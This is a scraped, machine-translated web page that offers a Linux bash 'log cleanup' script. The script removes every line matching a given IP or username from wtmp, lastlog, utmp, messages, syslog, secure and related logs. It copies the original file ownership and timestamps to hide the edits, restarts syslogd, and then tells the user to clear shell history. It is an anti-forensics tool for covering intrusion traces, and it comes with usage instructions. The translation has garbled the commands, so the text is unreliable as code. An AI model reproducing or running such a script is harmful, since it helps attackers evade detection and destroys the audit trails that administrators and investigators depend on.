A linux Log cleanup script that is still perfect

Source: Internet
Author: User
Linux Log clearing script #! Binbashecholinuxclearlogechobyknlve2008-08-29echo # chmod777log #. logxx. xx. xx. xxAnd. logrootif [-fvarlogwtmp]; thencatvarlogwtmp | grep-v $1varlogtemp1

Linux Log clearing script

#! /Bin/bash
Echo "linuxClearLog"
Echo "by knlve 2008-08-29"
Echo "=================================="
#Chmod777 log
#./Log xx. xx And./log root
If [-f "/var/log/wtmp"]; then
Cat/Var/log/wtmp |Grep-V $1>/var/log/temp1;
Chgrp-- RefereNcE/var/log/wtmp/var/log/temp1;
Chown-- Reference/var/log/wtmp/var/log/temp1;
Touch-R/var/log/wtmp/var/log/temp1;
Mv-F/var/log/temp1/var/log/wtmp;
Fi
If [-f "/var/log/lastlog"]; then
Cat/var/log/lastlog | grep-v $1>/var/log/temp2;
Chgrp -- reference/var/log/lastlog/var/log/temp2;
Chown -- reference/var/log/lastlog/var/log/temp2;
Touch-r/var/log/lastlog/var/log/temp2;
Mv-f/var/log/temp2/var/log/lastlog;
Fi
If [-f "/var/log/messages"]; then
Cat/var/log/messages | grep-v $1>/var/log/temp3;
Chgrp -- reference/var/log/messages/var/log/temp3;
Chown -- reference/var/log/messages/var/log/temp3;
Touch-r/var/log/messages/var/log/temp3;
Mv-f/var/log/temp3/var/log/messages;
Fi
If [-f "/var/log/utmp"]; then
Cat/var/log/utmp | grep-v $1>/var/log/temp4;
Chgrp -- reference/var/log/utmp/var/log/temp4;
Chown -- reference/var/log/utmp/var/log/temp4;
Touch-r/var/log/utmp/var/log/temp4;
Mv-f/var/log/temp4/var/log/utmp;
Fi
If [-f "/var/log/wtmpx"]; then
Cat/var/log/wtmpx | grep-v $1>/var/log/temp5;
Chgrp -- reference/var/log/wtmpx/var/log/temp5;
Chown -- reference/var/log/wtmpx/var/log/temp5;
Touch-r/var/log/wtmpx/var/log/temp5;
Mv-f/var/log/temp5/var/log/wtmpx;
Fi if [-f "/var/log/utmpx"]; then
Cat/var/log/utmpx | grep-v $1>/var/log/temp6;
Chgrp -- reference/var/log/utmpx/var/log/temp6;
Chown -- reference/var/log/utmpx/var/log/temp6;
Touch-r/var/log/utmpx/var/log/temp6;
Mv-f/var/log/temp6/var/log/utmpx;
Fi
If [-f "/var/log/syslog"]; then
Cat/var/log/syslog | grep-v $1>/var/log/temp7;
Chgrp -- reference/var/log/syslog/var/log/temp7;
Chown -- reference/var/log/syslog/var/log/temp7;
Touch-r/var/log/syslog/var/log/temp7;
Mv-f/var/log/temp7/var/log/syslog;
Fi
If [-f "/var/log/secure"]; then
Cat/var/log/secure | grep-v $1>/var/log/temp8;
Chgrp -- reference/var/log/secure/var/log/temp8;
Chown -- reference/var/log/secure/var/log/temp8;
Touch-r/var/log/secure/var/log/temp8;
Mv-f/var/log/temp8/var/log/secure;
Fi
/Usr/bin/KillAll-HUP syslogd;
Echo "Clear log isSuCcess!
#Rm-Fr log

For some reason, it is clear in the script that the history is always not perfect. After the script is executed,
Execute Clear history manually:
History-w
History-c

Script usage chmod 777 log &./log ip or./log root
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.